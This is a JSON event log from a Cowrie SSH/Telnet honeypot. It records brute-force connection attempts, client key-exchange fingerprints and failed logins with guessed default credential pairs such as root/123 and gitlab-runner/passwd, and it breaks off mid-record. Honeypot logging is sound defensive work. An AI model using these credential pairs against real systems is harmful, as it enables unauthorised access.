{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:35.669795Z","src_ip":"80.94.92.184","session":"75d65ef5ae36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47174,"dst_ip":"10.17.0.5","dst_port":22,"session":"af4f64a351c7","protocol":"ssh","message":"New connection: 45.156.87.147:47174 (10.17.0.5:22) [session: af4f64a351c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:36.401216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:36.408109Z","src_ip":"45.156.87.147","session":"af4f64a351c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:36.498095Z","src_ip":"45.156.87.147","session":"af4f64a351c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:36.754539Z","src_ip":"45.156.87.147","session":"af4f64a351c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:37.026538Z","src_ip":"80.94.92.184","session":"75d65ef5ae36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:37.892016Z","src_ip":"45.156.87.147","session":"af4f64a351c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44468,"dst_ip":"10.17.0.5","dst_port":22,"session":"802b165d26fb","protocol":"ssh","message":"New connection: 45.156.87.147:44468 (10.17.0.5:22) [session: 802b165d26fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:42.540006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:42.544089Z","src_ip":"45.156.87.147","session":"802b165d26fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:42.626199Z","src_ip":"45.156.87.147","session":"802b165d26fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:42.872500Z","src_ip":"45.156.87.147","session":"802b165d26fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:43.957887Z","src_ip":"45.156.87.147","session":"802b165d26fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":50348,"dst_ip":"10.17.0.5","dst_port":23,"session":"754681546c86","protocol":"telnet","message":"New connection: 94.23.66.112:50348 (10.17.0.5:23) [session: 754681546c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:44.401283Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44478,"dst_ip":"10.17.0.5","dst_port":22,"session":"56ff2632692d","protocol":"ssh","message":"New connection: 45.156.87.147:44478 (10.17.0.5:22) [session: 56ff2632692d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:48.662261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:48.665760Z","src_ip":"45.156.87.147","session":"56ff2632692d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:48.746106Z","src_ip":"45.156.87.147","session":"56ff2632692d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123","message":"login attempt [dev/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:48.987315Z","src_ip":"45.156.87.147","session":"56ff2632692d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:50.071253Z","src_ip":"45.156.87.147","session":"56ff2632692d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50654,"dst_ip":"10.17.0.5","dst_port":22,"session":"05ca0707a5f3","protocol":"ssh","message":"New connection: 45.156.87.147:50654 (10.17.0.5:22) [session: 05ca0707a5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:54.736098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:54.740409Z","src_ip":"45.156.87.147","session":"05ca0707a5f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:54.825387Z","src_ip":"45.156.87.147","session":"05ca0707a5f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:55.076659Z","src_ip":"45.156.87.147","session":"05ca0707a5f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.694059133529663,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:56.095236Z","src_ip":"94.23.66.112","session":"754681546c86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:56.161574Z","src_ip":"45.156.87.147","session":"05ca0707a5f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.63885283470154,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:00.792706Z","src_ip":"172.81.62.90","session":"2a5bfe2a51cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45914,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c322fe5db1c","protocol":"ssh","message":"New connection: 45.156.87.147:45914 (10.17.0.5:22) [session: 9c322fe5db1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:00.804817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:00.809168Z","src_ip":"45.156.87.147","session":"9c322fe5db1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:00.905300Z","src_ip":"45.156.87.147","session":"9c322fe5db1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:01.157824Z","src_ip":"45.156.87.147","session":"9c322fe5db1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:02.246630Z","src_ip":"45.156.87.147","session":"9c322fe5db1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45922,"dst_ip":"10.17.0.5","dst_port":22,"session":"9548113230c0","protocol":"ssh","message":"New connection: 45.156.87.147:45922 (10.17.0.5:22) [session: 9548113230c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:06.647149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:06.650916Z","src_ip":"45.156.87.147","session":"9548113230c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:06.731738Z","src_ip":"45.156.87.147","session":"9548113230c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:06.977557Z","src_ip":"45.156.87.147","session":"9548113230c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:08.070757Z","src_ip":"45.156.87.147","session":"9548113230c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42856,"dst_ip":"10.17.0.5","dst_port":22,"session":"f754400fba4a","protocol":"ssh","message":"New connection: 45.156.87.147:42856 (10.17.0.5:22) [session: f754400fba4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:12.546940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:12.550255Z","src_ip":"45.156.87.147","session":"f754400fba4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:12.635925Z","src_ip":"45.156.87.147","session":"f754400fba4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"passwd","message":"login attempt [gitlab-runner/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:12.946141Z","src_ip":"45.156.87.147","session":"f754400fba4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.057050466537476,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:13.509526Z","src_ip":"172.81.62.90","session":"75cda087cfc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:14.036883Z","src_ip":"45.156.87.147","session":"f754400fba4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":55560,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d22d70b66b1","protocol":"ssh","message":"New connection: 27.71.230.31:55560 (159.203.135.109:22) [session: 5d22d70b66b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:18.452219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:18.489758Z","src_ip":"27.71.230.31","session":"5d22d70b66b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42860,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1ac36679742","protocol":"ssh","message":"New connection: 45.156.87.147:42860 (10.17.0.5:22) [session: f1ac36679742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:18.650579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:18.654766Z","src_ip":"45.156.87.147","session":"f1ac36679742","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 